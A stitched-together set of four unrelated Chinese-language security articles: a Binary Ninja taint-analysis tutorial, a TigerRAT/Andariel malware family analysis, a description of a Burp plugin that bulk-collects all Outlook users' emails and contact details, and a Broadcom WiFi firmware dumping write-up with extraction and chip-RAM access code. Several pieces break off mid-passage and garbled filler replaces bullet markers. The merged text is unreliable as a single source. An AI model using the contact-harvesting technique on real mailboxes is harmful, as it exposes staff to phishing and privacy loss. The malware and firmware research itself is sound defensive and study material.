Ninja支持各種中間語言（IL），如低級IL（LLIL）、中級IL（MLIL）和高級IL（HLIL）。由於MLIL用變量抽像出了堆棧內存訪問，並提供了與調用位置相關的參數，所以，我認為它更適合執行過程間的污點分析。此外，與HLIL相比，MLIL具有更加豐富的文檔可用。 Binary Ninja提供的另一種強大功能是：能夠為可用的IL提供靜態單賦值（Single Static Assignment，SSA）形式。在SSA形式中，每個變量只被定義一次。當變量被重新賦予另一個值時，會創建一個新的變量版本。因此，我們可以在函數中“全方位地”跟踪一個被污染的變量。現在，請考慮下面最簡單的例子：當變量x被重新賦值時，在SSA形式中會創建一個新版本的變量： x=1x#0=1 x=x+1x#1=x#0+1SSA變量的def-use鏈Binary Ninja提供瞭如下兩個API：get_ssa_var_definition()和get_ssa_var_uses()，分別用來獲取一個變量的定義位置及其用途。為了便於說明，請看下面Thrman:execOVERLOAD_STATUS_REP()方法的MLIL SSA代碼片段： Thrman:execOVERLOAD_STATUS_REP: 2@00784165rax#1=zx.q([arg2#0+0x28].d@mem#0) 3@00784168rcx#1=[arg2#0+0x2c].d@mem#0 4@0078416b[arg1#0+(rax#13)+0x3ca0].d=rcx#1@mem#0-mem#1這裡，arg2是一個指向Signal對象的指針。在地址0x00784165處，SSA變量“rax#1”被賦予了一個來自[arg2#0+0x28]的污點值。使用這個被污染的SSA變量rax#1的MLIL指令可以被通過下列方式獲得： current_function.get_low_level_il_at(here).mlil.ssa_form current_function.get_low_level_il_at(here).mlil.ssa_form.destssa_var=current_function.get_low_level_il_at(here).mlil.ssa_form.dest current_function.mlil.ssa_form.get_ssa_var_definition(ssa_var) current_function.mlil.ssa_form.get_ssa_var_uses(ssa_var) [il:[arg1#0+(rax#13)+0x3ca0].d=rcx#1@mem#0-mem#1]這些API是我們進一步進行污染分析的構建塊。 用SSA def-use鏈進行污染傳播由於Binary Ninja的IL的組織形式為表達式樹，因此，某個操作的操作數可以由其他操作組成。下圖是BNIL Instruction Graph插件為MLIL SSA指令生成的： current_function.get_low_level_il_at(here).mlil.ssa_form current_function.get_low_level_il_at(here).mlil.ssa_form.operation 其中，MLIL_SET_VAR_SSA操作標記了一個新SSA變量的定義，它將dest變量的值設為src表達式的結果，而src表達式可以由許多其他操作組成。就這裡來說，MLIL_ADD向Signal的基址添加偏移量0x28，然後，MLIL_LOAD_SSA從通過MLIL_ADD計算得到的地址中讀取該值。注意，有效的污染傳播需要訪問每個指令表達式的所有MLIL SSA操作。 Josh Watson的emILator和Jordan的IL指令計數代碼是訪問和處理MLIL SSA指令表達式的好例子。那麼，污點傳播算法到底做了些什麼呢？ ◼線性訪問函數中的所有MLIL SSA指令 ◼對於任何MLIL_SET_VAR_SSA操作，解析src表達式以檢查它是否是受污染的數據 ◼如果src操作數返回受污染的數據，則使用get_ssa_var_uses()獲取dest SSA變量的使用情況 ◼訪問使用受污染SSA變量的指令，並在遇到MLIL_SET_VAR_SSA時傳播受污染的SSA變量 ◼一旦某個指令污染了某個變量，將其標記為已訪問，並且不再訪問該變量 對SSA變量的約束一旦確定了污點傳播算法，接下來該如何處理污點變量的sanitizer呢？我們只對不進行任何驗證的代碼路徑感興趣。考慮到這一點，讓我們重新審視一下基於def-use鏈的污點傳播算法。實際上，def-use鏈就是代碼的順序語句；因此，這種污點傳播對控制流並不敏感，具體請看下面的演示示例： 其中，傳遞給函數的變量“value”已經收到污染，並在兩個不同的代碼路徑中被用到。在執行0x1184處的基本塊的代碼路徑中，該變量進行了相應的驗證，並被認為是“乾淨的”。同時，用於該變量的get_ssa_var_uses()函數返回了3條指令，具體如下所示： current_function.get_low_level_il_at(here).mlil.ssa_form.function.get_ssa_var_uses(dest) [線性處理這3條指令會導致錯誤的結論，即驗證在污點值的兩次使用之前進行。實際上，只有一條指令是受保護的；而其他兩條指令則是易受攻擊的。這個問題可以通過引入控制流來解決。 基於約束圖的控制流敏感傳播其中，MediumLevelILInstruction類有一個il_basic_block屬性，可用來獲取MLIL指令的基本塊信息。 current_function.get_low_level_il_at(here).mlil.ssa_form.il_basic_block利用這個屬性，我們可以獲取SSA變量的定義和SSA變量的使用情況的基本塊，其中也包括進行驗證的基本塊。這些基本塊也被稱為“約束”塊。這些基本塊的一些特性如下所示： ◼定義塊總是支配著SSA變量的所有使用情況。 ◼擁有定義的基本塊可以包含約束。這同樣適用於def-use鏈的任何基本塊。 ◼一個定義塊總是可達的，因此，其中的所有指令也是可達的。 考慮到這是一個圖的可達性問題，所以，現在問題就變成：在有約束塊的情況下，我們能不能到達SSA變量的def-use鏈中的所有指令？為了回答這個問題，我們可以通過函數的CFG建立一個約束圖，並對其應用如下路徑查找算法： ◼從CFG中刪除約束塊的外向邊。這就是我們的約束圖。 ◼在約束圖中尋找定義基本塊和其他def-use鏈的基本塊之間是否存在路徑。 ◼如果任何def-use基本塊無法到達，那麼這些指令就不會被用於污點傳播。 由於每個賦值操作在SSA表示中都是唯一的，因此，我們可以維護一個包括約束圖在內的每個變量的必要信息的字典，以便做進一步的分析。下面是一個在存在約束塊的情況下尋找可達塊的示例偽碼： self.var_def_uses.setdefault(ssa_var,dict()) refs=definition.function.get_ssa_var_uses(ssa_var) basic_blocks=self.refs_to_basic_blocks(definition,refs) forrefinrefs: self.get_constrained_blocks(ref,constraint_blocks,ssa_var) subgraph=self.get_constrained_subgraph(constraint_blocks) self.var_def_uses[ssa_var]['subgraph']=subgraph reachable_blocks=self.get_reachable_blocks(definition,ssa_var,basic_blocks) forblk,stmtsinbasic_blocks.items(): ifblkinreachable_blocks: pruned_refs+=stmts self.var_def_uses[ssa_var]['def']=definition self.var_def_uses[ssa_var]['refs']=pruned_refs要發現某個SSA變量是否在給定指令中被污染的，我們只需檢查其可達的def-use鏈即可： defis_reachable(self,var,expr): ifself.function_mlilssa[expr.instr_index]inself.var_def_uses[var]['refs']: returnTrue將算術運算作為過濾器除了顯式過濾器之外，還可以將算術運算用作污點過濾器。例如，AND運算或邏輯右移(LSR)運算可能會對值施加約束。在這種情況下，可以使用啟發式方法過濾掉不想要的結果，例如： 在這裡，表面上看污染值並未與任何值進行顯式比較，但是，LSR和AND之類的邏輯運算實際上已經限制了輸入範圍。這就是我發現possible_values屬性非常有用的地方。 Binary Ninja的數據流分析可以為一個表達式提供可能的值： current_function.get_low_level_il_at(here).mlil.ssa_form.src current_function.get_low_level_il_at(here).mlil.ssa_form.src.possible_valuescurrent_function.get_low_level_il_at(here).mlil.ssa_form.src current_function.get_low_level_il_at(here).mlil.ssa_form.src.possible_valuesunsignedranges:[處理污染變量的傳遞關係分析的第一階段，我們需要傳播污染數據並生成相關信息，如污染變量列表、每個SSA變量的約束，以及它們各自的約束子圖。 在分析的第二階段，我們將考察受污染的SSA變量之間的關係。為什麼這很重要？因為我們只尋找unbounded型SSA變量。雖然在第一階段已經處理了對SSA變量施加的任何直接約束，但還沒有處理通過傳遞關係施加給SSA變量的那些間接約束。考慮下面的示例： 變量index#0可能被污染且不受約束。但是，由於對派生變量constrained_var#1進行了驗證，從而間接地對index變量施加了約束，因此，index#3在0x11f2的內存訪問期間不會被污染。下面是另一個例子： 這裡，index#1、index#2、rax#1和constrained_var#1是變量index#0的副本或直接賦值。當變量constrained_var#1被驗證時，其他變量也會被驗證。因此，如果不分析約束對派生變量或變量副本的影響，則會導致誤報。接下來，我們將詳細介紹如何處理相關變量的約束問題。 通過傳遞關係施加給SSA變量的約束在污點傳播階段結束後，我們將遍歷所有有約束的污點變量。對於每一個有約束的變量，我們需要找出其子變量和父變量： ◼從給定變量派生的變量稱為子變量。 ◼派生給定變量的變量稱為父變量。 為了檢查所考查的變量上的約束是否對其父變量或子變量產生影響，我們需要進行以下檢查： 為所考查的SSA變量挑選約束子圖。 檢查子變量的定義是否可以從當前變量的定義中到達： 如果不可達，則在CFG中定義子變量之前放置約束，因此，def-use鏈中的基本塊都不會被污染。 如果可達，則在CFG中定義子變量之後放置約束。在這種情況下，還要檢查子變量的de

Malwarebytes(2021年4月)，卡巴斯基(2021年6月)和韓國CERT(2021年9月)都先後報導了韓國遭受新型惡意軟件攻擊的新聞，該惡意軟件以前從未出現過且使用了全新的技術。 Malwarebytes的初步報告將這個攻擊歸咎於Lazarus組織，而卡巴斯基將其歸咎為Andariel APT，這是Lazarus的一個分支，根據韓國CERT (KrCERT)的報告，研究人員將此次攻擊中的惡意軟件工具稱為TigerDownloader和TigerRAT。 KrCERT報告對他們捕獲的惡意軟件樣本與之前卡巴斯基和Malwarebytes分析的惡意軟件樣本之間的關係進行了全面、詳細的對比分析。他們還使用了專們的歸因技術來進一步關聯攻擊。 在本報告中，我們將重點關注以前報告的攻擊中的惡意軟件工具。我們提供了新的證據，將這些工具歸為相同的下載程序和RAT家族。我們將這些家族分別稱為TigerDownloader和TigerRAT。選擇這些名字是為了紀念KrCERT的重要工作。 我們系統地研究了代碼重用以及在先前報告的攻擊的不同階段(即打包程序、下載程序和RAT 有效負載)中使用的所有樣本之間的函數共性。我們還發現，雖然這些工具屬於上述家族，但在報告的攻擊中，已經部署了不同的工具變體。對於RAT有效載荷，我們發現了三個具有不同函數的版本。對於下載程序，我們找到了兩個版本，一個有持久性函數，另一個沒有持久性函數。 除了這些發現，我們還對現有的分析體系提出了新的推測。 2021年4月19日，Malwarebytes在報告中提到了一個惡意的Word文檔，且發現了一個新的下載組件。 2021年6月15日，卡巴斯基發布了一篇關於相同攻擊的文章，並將其歸為Andariel APT組織，除了Malwarebyte的發現外，他們還發現了新的下載程序和RAT有效載荷。此外，他們還發現了RAT部署的一種新型勒索軟件。 2021年9月，KrCERT報告了一項他們稱之為“ByteTiger”的攻擊活動，這是一項針對韓國的攻擊，他們將其歸因於Andariel APT組織。他們將新的攻擊與之前Malwarebytes和卡巴斯基使用一些專有工具披露的樣本聯繫起來，對比了相似性/重用、rich header、section hash和C2基礎設施。 上述三個報告案例中的攻擊鏈在結構上都有一些相似之處，都觀察到一個下載惡意軟件。卡巴斯基和KrCERT還發現了第三階段RAT組件。在訪問方式上，Malwarebytes 和Kaspersky 報告的案例中攻擊者使用了惡意文件，而KrCERT 案例中使用了受感染的網站。 Malwarebytes、Kaspersky和KrCERT報告的攻擊鏈的異同 打包程序分析在本節中，我們將首先確定打包程序的二進製文件共享源自解包算法的公共代碼，然後我們展示了在我們可以使用的所有打包樣本的基礎上的一個通用的打包方案。因此，我們的發現提供了強有力的證據，表明二進製文件是由同一打包程序負責的。 打包示例中的共享代碼為了快速了解打包樣本是否相關，我們在函數級別執行了自動代碼重用分析。在下表中，“函數重用”列中的數字代表了一個函數發生的樣本數量。例如，地址為0x140002b70(第一行)的函數出現在27個打包示例中。也就是說，這是一個出現在所有打包樣本中的函數。 我們分析的27 個打包二進製文件中的函數重用 還有其他幾個函數（即0x140001bf0、0x140002030、0x140002860）出現在27 或26 個樣本中。從表中，我們可以確定打包的樣品是明顯相關的。它們都有兩個共同的函數，並且具有大量代碼重用的樣本子集。 簡而言之，自動化的函數重用分析讓我們可以快速了解打包樣本的關係。正如我們接下來將看到的，它還指導我們的手動分析工作。 根據分析，我們懷疑這些樣本共享了一些有效解包的函數，而剩餘的一些函數是為了避免被反病毒軟件、Yara以及相關的基於模式的檢測技術檢測到。然後，我們進一步研究了這些穩定函數，可以確認它們確實包含打包函數。此分析的結果如下所示。 在最穩定的函數中找到的函數 我們還可以確認垃圾代碼的存在，其作用是避免檢測技術。下圖顯示了兩個不同示例中的相同函數Decrypt_payload()。我們可以看到像GetFontUnicodeRanges()、GetSysColorBrush() 和CreateBitMap() 這樣的垃圾函數被調用，但它們的返回值沒有被使用。在下圖中，有效的解包代碼（在本例中為XOR 解密算法）包含在所示的綠色框中。 我們在所有打包代碼和許多函數中都發現了這種垃圾代碼策略。 打包程序代碼中的垃圾代碼，以躲避防病毒軟件和Yara 檢測 綜上所述，到目前為止，我們已經看到打包樣本通過一個公共打包程序代碼相關聯。打包樣本之間的代碼差異主要是由於垃圾代碼的存在。 常見的打包方案打包程序是一個簡單的加載程序，它解密並將有效載荷映射到內存中。解密方案是一個簡單的XOR加密，使用16字節的密鑰。此外，我們發現所有的打包程序變體都遵循相同的打包方案，而該方案的變體由兩個參數決定。一個參數是打包的有效載荷是否採用Base64編碼，另一個參數是在PE文件中存儲打包的有效載荷的位置。 下圖說明了有效載荷編碼的過程。 PE文件中打包代碼位置的變化，從左到右，PE 覆蓋、PE 資源部分或在此示例中名為OTC 的專用PE 部分中的打包代碼 對於使用專用部分的第三個變體，我們觀察到以下部分名稱：“KDATA,” “OTC,” “OTS,” “OTT,” 和“data.”。我們目前還無法確定這些名字背後的意義。 下圖顯示了我們分析的所有打包下載程序和RAT變體的常見打包方案。 所有樣品通用的打包方案 惡意軟件家族和變體在本節中，我們將通過代碼重用分析確定所有解壓縮的二進製文件都屬於一個下載程序或RAT家族。我們稱這些家族為TigerDownloader和TigerRAT惡意軟件家族。 KrCERT報告中介紹了這些名稱，用來指代他們調查中的下載程序和RAT組件。 為了快速了解解壓後的二進製文件，我們進行了組合集群和代碼重用分析。這種分析使我們能夠自動識別惡意軟件家族和家族內的惡意軟件變體。此分析的目標是快速了解二進製文件之間的關係，並將分析人員引導至相關樣本進行進一步的手動分析，以最終了解攻擊者的工具和能力。 集群和代碼重用分析的結果如下圖所示，該圖確認解壓後的二進製文件屬於TigerDownloader（藍色）或TigerRAT（橙色）家族。此外，我們看到每個家族都有三個變體(用大圓表示)。我們使用了97.5%的集群閾值，這意味著至少有97.5%相似的二進製文件屬於同一個集群。圖中的集群由所謂的“集群代表”(大圓)和直接連接到集群代表的樣本(小圓)組成。其基本思想是，集群中的樣本本質上是相同的，因此集群代表可以很好地代表。 使用縮略哈希表對未打包的樣本進行聚類和代碼重用分析 我們注意到聚類閾值的選擇對變體有明顯的影響：高閾值會顯示次要和更多變體，而低閾值會顯示較少和主要的變體。 從圖中我們可以得出以下結論： 在TigerDownloader和TigerRAT家族之間沒有代碼重用。回顧打包程序分析，儘管這兩個家族在代碼方面是不同的，但它們使用了相同的打包方案進行打包。 下載程序有三種變體：一種x86和兩種x64變體。這兩個x64變體非常接近(即97%的代碼重用)，因此很可能是具有微小差異的變體。 在RAT家族中，我們遇到了三種類似的情況：一種x86和兩種x64。然而，這兩個x64變體隻共享55%的代碼，因此似乎是主要的RAT變體。 x64和x86二進製文件之間的關係較低，這是由於編譯器和CPU架構的差異，但仍然可以找到相關的代碼重用。 下圖中的表顯示了之前圖表中集群的詳細組成。我們還注意到，一些(哈希方式)獨特的打包樣本會導致(哈希方式)相同的未打包樣本，從而降低了所考慮樣本的有效多樣性。 詳細的集群信息 接著我們將更詳細地分析下載程序和RAT變體，將分析限制在集群代表上。這種將分析減少為聚類代表的函數是定向和高效分析和跟踪惡意軟件變體的關鍵。下面的分析中使用的集群代表及其名稱的選擇如下圖所示。 後續分析中使用的集群代表 TigerDownloader變體在本節中，我們將仔細研究兩個下載程序變體：Downloader-Malwarebytes-x64 和Downloader-Kaspersky-x64。從集群和代碼重用分析，我們知道它們共享97% 的代碼，因此是TigerDownloader 家族的非主要變體。 使用我們的分析工具鏈的二進制差異函數，如下所示，樣本主要由相同的函數組成，除了卡巴斯基(Downloader-Kaspersky-x64) 中的一個獨特函數（地址為0x140001230 的函數）樣本。 Downloader-Kaspersky-x64和Downloader-Malwarebytes-x64之間的函數級別差異 分析來自卡巴斯基的下載程序示例，我們看到未知函數(0x140001230)是由下載程序的主函數調用的。 左側Downloader-Kaspersky-x64，右側Downloader-Malwarebytes-x64 原來這個函數是用來實現持久性的，所使用的技術很簡單，包括在當前用戶啟動文件夾中創建一個鏈接，以確保目標設備重新啟動時啟動下載程序。 為持久性創建快捷方式的函數 持久性可執行文件的快捷方式 最後，我們注意到在Downloader-Malwarebytes-x64示例中沒有發現任何持久性技術。原因很可能是盡量減少留在受害設備上的痕跡。 與TigerDownloader的關係不幸的是，KrCERT 報告中的下載程序樣本(f0ff67d4d34fe34d52a44b3515c44950) 未公開提供與TigerDownloader相關聯的正怒，因此我們無法將其包含在我們的分析中。儘管如此，為了檢查KrCERT 與Malwarebytes 和Kaspersky 下載程序之間可能的關係，我們試圖純粹基於KrCERT公開報告的工件和行為將它們連接起來。 KrCERT報告了他們在下載程序中找到的兩個C2命令，在可供我們使用的下載程序中找不到任何“Tiger10X”標識符，同時我們也無法找到任何其他可能是C2命令的標識符。 KrCERT報告的TigerDownloader C2命令 另一方面，我們發現KrCERT報告的各種功能也出現在其他下載程序中： 1.KrCERT報告中的打包符合我們在上面建立的打包方案； 2.KrCERT報告說，通信是使用Base64編碼的，我們也在我們的樣本中觀察到了這一點； 3.由第二階段(下載程序)下載的第三階段(RAT)都屬於同一個TigerRAT家族(我們將在下一節中建立)。 簡而言之，上面的觀察表明KrCERT下載程序可能與Malwarebytes和Kaspersky觀察到的下載程序有關。然而，這只是推測，因為我們沒有訪問KrCERT樣本，因此缺乏確鑿的證據。 TigerRAT變體回顧了代碼重用和聚類分析，我們可以通過代碼重用分析將所有RAT 連接到相同的TigerRAT家族。我們還看到，RAT變體比下載程序變體變化更大。例如，變體RAT-Kaspersky-x64和RAT-KrCERT-x64僅共享大約50%的代碼。 接下來，我們將進一步研究RAT變體。我們在函數和設計層面上提出了強有力的新證據，進一步將RAT變體歸為相同的TigerRAT惡意軟件家族。經分析，變體的主要區別在於它們實現的C2命令。 對於這個分析，我們將重點關注我們在之前建立的RAT-Kaspersky-x64、RAT-KrCERT-x64和RAT-Kaspersky-x86的代表。 各變體命令和函數讓我們看看在不同變體中找到的C2命令，下圖顯示了我們在其中一個RAT變體中觀察到的所有C2命令。由於缺少ids0x08和0x09的命令，因此我們推測，在野外還有未知的樣本包含這些命令。 在RAT三種變體中至少有一種可以使用的所有C2命令 接下來，我們將查看不同變體所支持的C2命令。 在不同RAT變體中發現的C2命令 我們看到，使用聚類分析自動識別的三個變量實際上是三個函數不同的變量。除了C2函數中的這些變化之外，這些變體的核心代碼在很大程度上是相同的。因此，本質上是C2命令定義了這三種變體。我們還觀察到“FileManager”、“ScreenCapture”、“SelfDelete”和“Shell”這四個命令對所有的變體來說都是通用的。 C2命令的通用接口我們找到了三個變體通用的接口，如下所示： 該接口提供了一個由RAT中所有C2命令實現的抽象，這個通用接口在其核心C2函數的變體之間建立了一種強大的關係。 RAT-KrCERT-x64 中的新C2 協議變體C2 協議在所有變體中基本相同，不過我們還是在RAT-KrCERT-x64 變體中發現的一個小的協議變化。這一變化涉及到惡意軟件在C2上的註冊，並包含一個位於TCP模塊中的額外檢查，該檢查負責與C2的所有通信： 紅色矩形包含添加到RAT-KrCERT-x64變體的新協議檢查。 左圖，其他變體；右邊，RAT-KrCERT-x64 變體 新函數會向C2 發送一個17 字節長度的塊，我們還沒有分析發送了什麼數據，但看起來它可能與木馬標識符或類似的東西有關。發送數據後，它會檢查C2 是否返回字符串“n0gyPPx”。 “n0gyPPx”的C2 協議檢查 除了這個協議變化之外，我們還觀察到RAT-KrCERT-x64變體在第一個請求的通信開始時發送的HTTP標頭中的變化。 HTTP 標頭的變化 基於此協議分析，我們認為RAT- krcert -x64是RAT的一個新版本。

0x01 前言这是一款burp插件，用于Outlook用户信息收集，在已登录Outlook账号后，可以使用该 插件自动爬取所有联系人的信息 0x02 安装在burp扩展面板加载jar即可 0x03 功能介绍1.All Users加载插件后，进入Outlook联系人面板，点击All Users 在burp中 Proxy -> HTTP history 筛选api接口 /owa/service.svc?action=FindPeople&app=People 选中该请求，右键菜单 Extensions -> OutLook information collection -> Do OoutLook Email scan 会在 Extender -> Extensions -> OutLook information collection -> Output 中显示扫描进度 插件会自动爬取所有数据包并生成目录树，可以查看每一个请求响应包 右击该请求会弹出右键菜单，选择获取所有用户邮箱，即可获得所有的邮箱 2.注意 该Api会有大量相同url，不同的Post提交参数，如果选错了Api接口，会有弹窗提示 3.联系人信息 必须在加载 All Users的所有数据包才能正常使用，联系人信息基于All Users数据包信息，如果未进行第一步操作会有弹窗提醒 在burp中 Proxy -> HTTP history 筛选api接口 /owa/service.svc?action=GetPersona&app=People 选中该请求，右键菜单 Extensions -> OutLook information collection -> Do OoutLook Email scan 会在 Extender -> Extensions -> OutLook information collection -> Output 中显示扫描进度 插件会自动爬取所有数据包并生成目录树，可以查看每一个请求响应包 右击该请求会弹出右键菜单，选择获取 All User个人信息，可获取所有联系人信息 工具获取：公众号回复关键字“OutLook”

Broadcom是全球無線設備的主要供應商之一。由於這些芯片用途廣泛，因此構成了攻擊者的高價值目標，因此，在其中發現的任何漏洞都應視為帶來了很高的風險。在此博客文章中，我記錄了我在Quarkslab實習的情況，其中包括獲取，反轉和Fuzzing固件，以及發現一些新漏洞。 0x00 介紹Broadcom是全球無線設備的主要供應商之一，他們生產帶有43系列標籤的無線芯片，從智能手機到筆記本電腦，智能電視和物聯網設備，你幾乎可以在任何地方找到這些芯片。你可能會在不知道的情況下就使用了它，例如，如果你有戴爾筆記本電腦，則可能正在使用bcm43224或bcm4352卡；如果你擁有iPhone，Mac筆記本，Samsumg手機或Huawei手機等，也可能使用Broadcom WiFi芯片。 由於這些芯片用途廣泛，因此變成了攻擊者的高價值目標，因此，在其中發現的任何漏洞都應視為會帶來很高的風險。 我研究了很長一段時間的Broadcom芯片，將已知漏洞複製並移植到其他易受攻擊的設備，以學習和改進幾種常見的信息安全慣例，在此文章中，我記錄了我的研究過程，包括獲取，逆向和Fuzzing固件，以及分析發現的一些新漏洞。 0x01 關於WLAN和Linux在開始之前，讓我們看一下802.11無線標準。 1997年創建的第一個IEEE 802.11標準[1]標準化了PHY和MAC層，這是最低的兩個OSI層。 對於PHY層，選擇了兩個頻帶：紅外（IR）頻帶和微波頻帶（2.4GHz）；之後，其他標準（例如802.11a [2]）帶來了另一個頻率範圍（5GHz）。 MAC層使用三種類型的幀：管理，數據和控制；802.11標頭幀的幀控製字段標識任何給定幀上的類型。 管理幀由MLME（MAC子層管理實體）實體進行管理。根據處理MLME的內核的位置，我們可以得到兩種主要類型的無線芯片實現：SoftMAC（其中MLME在內核驅動程序中運行）和HardMAC（也稱為FullMAC），其中MLME在固件中嵌入在嵌入式固件中。芯片並不是像生活中看到的那麼簡單，存在一些混合實現，例如，探測響應和請求由驅動程序管理，而關聯請求和身份驗證則由芯片的固件處理。 FullMAC設備在功耗和速度方面提供了更好的性能，這就是為什麼它們在智能手機中得到大量使用，並且往往成為市場上使用最多的芯片的原因。它們的主要缺點是限制了用戶發送特定幀或將其設置為監視模式的能力，為此，將需要直接編輯芯片上運行的固件。 從Linux操作系統的角度來看，以上內容為我們提供了無線堆棧中組件的兩種主要佈局：當無線設備是SoftMAC設備時，內核將使用稱為'mac80211'的特定Linux內核模塊（LKM）。該驅動程序公開MLME API以便管理管理幀，否則內核將直接使用硬件驅動程序並將MLME處理卸載到芯片的固件中。 0x02 Broadcom 的bcm43xxx芯片Broadcom bcm43xxx系列同時具有HardMAC和SoftMAC卡。不幸的是，我們找不到所分析所有芯片的所有數據表，賽普拉斯收購Broadcom的“ IoT業務”分支後，已經發布了一些可用的數據表；但是，有些芯片同時集成了WLAN和藍牙函數，例如bcm4339或bcm4330。 分析的所有芯片都將ARM Cortex-M3或ARM Cortex-R4用作非關鍵時間操作的主要MCU，因此我們需要處理兩個類似的指令集：armv7m和armv7r。這些MCU具有一個ROM和一個RAM，其大小取決於芯片組的版本。 所有時間緊迫的操作都由D11內核的Broadcom專有處理器實現，該處理器主要負責PHY層。 這些芯片使用的固件分為兩部分：一部分寫入ROM，不能修改，另一部分由驅動程序上傳到芯片的RAM。這樣，供應商僅通過更改固件的RAM部分就可以為其芯片添加新函數或編寫更新。 FullMAC芯片非常有趣，首先如在固件代碼中實現MLME層之前所述，但是它們還提供卸載函數，例如ARP緩存，mDNS，EAPOL等。這些芯片還具有一些硬件加密模塊，可以加密和解密密碼，流量，管理密鑰等。 所有卸載函數都增加了攻擊面，為我們提供了一個不錯的研究空間。 為了與主機（應用處理器）進行通信，b43系列使用了幾種總線接口：USB，SDIO和PCIe。 在驅動程序方面，我們可以將bcm43xxx驅動程序集分為兩類：開源和專有。 開源： 马云惹不起马云b43 (reversed from proprietary wl/old SoftMAC/Linux) 马云惹不起马云brcmsmac（SoftMAC/Linux） 马云惹不起马云brcmfmac（FullMAC/Linux） 马云惹不起马云bcmdhd（FullMAC/Android） 專有： 马云惹不起马云broadcom-sta aka'wl'（SoftMAC FullMAC/Linux） “ wl”驅動程序在諸如路由器之類的嵌入式系統上最常用。它通常也用在筆記本電腦上，而筆記本電腦的驅動程序不支持brcmfmac/brcmsmac，例如Dell XPS上的bcm4352芯片。另外，wl驅動程序使用其自己的MLME，不需要LKM'mac80211'處理管理幀，從而為攻擊者擴大了攻擊面。 Broadcom發行的版本通常稱為“混合”驅動程序，因為代碼的主要部分來自兩個已編譯的ELF（在編譯時使用的對象）。為什麼兩個？因為一個用於x86_64體系結構，另一個用於i386。這些對象保存了驅動程序的主要代碼，因此公開了許多Broadcom API的函數。 芯片的固件和wl驅動程序共享許多代碼，因此在一個中發現的漏洞也可能在另一個中存在。 0x03 獲取固件1）第一部分：RAM固件 如前所述，固件分為兩部分。最容易抓住的部分是RAM部分，該部分由驅動程序加載到RAM中，這部分包含主MCU使用的代碼和數據，以及D11內核使用的微代碼。 固件的此部分未簽名，並且使用CRC32校驗和“驗證”完整性。這導致了一些固件修改，以便添加諸如監控器模式之類的函數；例如，SEEMO Lab發布了NEXMON項目[3]，這是一個了不起的框架，用於通過用C編寫補丁來修改這些固件。 在我們的研究中，我們遇到了兩種可能的RAM固件映像格式：第一個也是最常遇到的是沒有特定結構的簡單二進制blob；第二種是TRX格式，在bcm43236芯片上工作時很容易解析。 使用.bin RAM固件時，通常在文件末尾有一個字符串，用於顯示： 马云惹不起马云芯片版本 马云惹不起马云芯片用於主機進行加密狗通信的總線 马云惹不起马云固件提供的函數；p2p，TDLS等 马云惹不起马云固件版本 马云惹不起马云CRC校驗和 马云惹不起马云創建日期。 當使用的驅動程序是brmfmac或bcmdhd時，我們可以直接從主機文件系統獲取RAM固件。在Linux上，我們可以在/lib/firmware/brcm中找到它，在Android上可以在/system/vendor/firmware中找到它。 在其他情況下，它會根據我們使用的系統而有所不同： 如果使用的驅動程序是專有wl，我們可以在LKM的.data部分中找到固件的RAM部分，可以使用LIEF輕鬆提取[8]。 wl=lief.parse('wl.ko') data=wl.get_section('.data') forsymbolinwl.symbols: .if'dlarray_'insymbol.name: .print(symbol.name) . dlarray_4352pci dlarray_4350pci b4352=wl.get_symbol('dlarray_4352pci') bcm4352_fw=data.content[b4352.value:b4352.value+b4352.size] withopen('/tmp/bcm4352_ramfw.bin','wb')asf: .f.write(bytes(bcm4352_fw)) . 442233 $strings/tmp/bcm4352_ramfw.bin|tail-n1 4352pci-bmac/debug-ag-nodis-aoe-ndoeVersion:6.30.223.0CRC:ff98ca92Date:Sun2013-12-1519:30:36PSTFWID01-9413fb21發布的bcm4352固件最新採用WL上的Linux驅動程序的日期2013年 2）第二部分：ROM簡介 固件的ROM部分是了解這些芯片內部的最重要的部分。 為了拿到ROM部分，我們需要知道它的映射位置。查找基址的最佳方法是讀取驅動程序的頭文件，例如在bcmdhd的頭文件/include/hndsoc.h 中；另一種替代方法是讀取Nexmon項目README，該項目根據我們的MCU型號為我們提供了其他基址，精明的讀者可能會發現這些地址不同。 Nexmon項目指定具有Cortex-M3的芯片的ROM加載為0x800000，bcmdhd的標頭顯示為0x1e000000，兩者都是正確的，似乎ROM和RAM映射了兩次。此外，知道基址可以為我們提供有關所使用的MCU的線索，例如，如果將ROM轉儲到0x000f0000，則表明該芯片正在使用ARM Cortex-R4。 3）在Android系統上獲取ROM 在Android上，我們可以使用dhdutil工具，該工具是舊wlctl實用程序的Android開源改進分支，通過使用此工具的“內存字節”函數，我們可以轉儲芯片組的RAM，在某些情況下還可以轉儲ROM。 adbshell/data/local/tmp/dhdutil-iwlan0membytes-r0x00xa0000rom.bin例如，在依賴Cortex-R4的Nexus 5中使用的bcm4339芯片上，ROM被直接轉儲。不幸的是，在較舊的bcm4330（Cortex-M3）上，此函數無效；但是，只要你可以與RAM交互，就可以Hook一個函數，該存根將把ROM逐片複製到RAM中的空區域，之後，我們可以轉儲所有ROM的分片。 4）恢復Linux系統上的ROM 在具有brcmfmac驅動程序的Linux上，我們無法直接訪問ROM。因此，我們需要找到一種直接在ROM或RAM中與芯片內存交互的方法。幸運的是，當芯片使用SDIO總線與主機進行通信時，開源brcmfmac驅動程序將公開brcmf_sdiod_ramrw函數，此函數使我們可以從主機讀取和寫入芯片組的RAM。 如果我們修改驅動程序以便在此函數周圍添加一個ioctl包裝器，則可以從一個很小的userspace實用程序讀取和寫入芯片組的RAM。 在調用brcmf_sdiod_ramrw之前，我們必須調用sdio_claim_host以便回收SDIO總線的利用率；請注意，如果該設備未連接到任何接入點，則該設備可能處於低功耗模式，並且總線可能處於空閒狀態，因此我們需要通過調用bcmf_sdio_bus_sleep和brcmf_sdio_clkctl來確保設備的總線正常運行。 intbrcmf_ioctl_entry(structnet_device*ndev,structifreq*ifr,intcmd) { . sdiobk-alp_only=true; sdio_claim_host(sdiobk-sdiodev-func[1]); brcmf_sdio_bus_sleep(sdiobk,false,false); brcmf_sdio_clkctl(sdiobk,CLK_AVAIL,false); res=brcmf_sdiod_ramrw(sdiobk-sdiodev,margs-op,margs-addr,buff,margs-len); if(res) { printk(KERN_DEFAULT'[!]Dumpmemfailedforaddr%08x.\n',margs-addr); sdio_release_host(sdiobk-sdiodev-func[1]); kfree(buff); return(-1); } if(copy_to_user(margs-buffer,buff,margs-len)!=0) printk(KERN_DEFAULT'[!]Can'tcopybuffertouserland.\n'); . }我們需要編寫一個小程序來與用戶領域的ioctl進行交互，有了它，我們能夠讀寫設備RAM： . 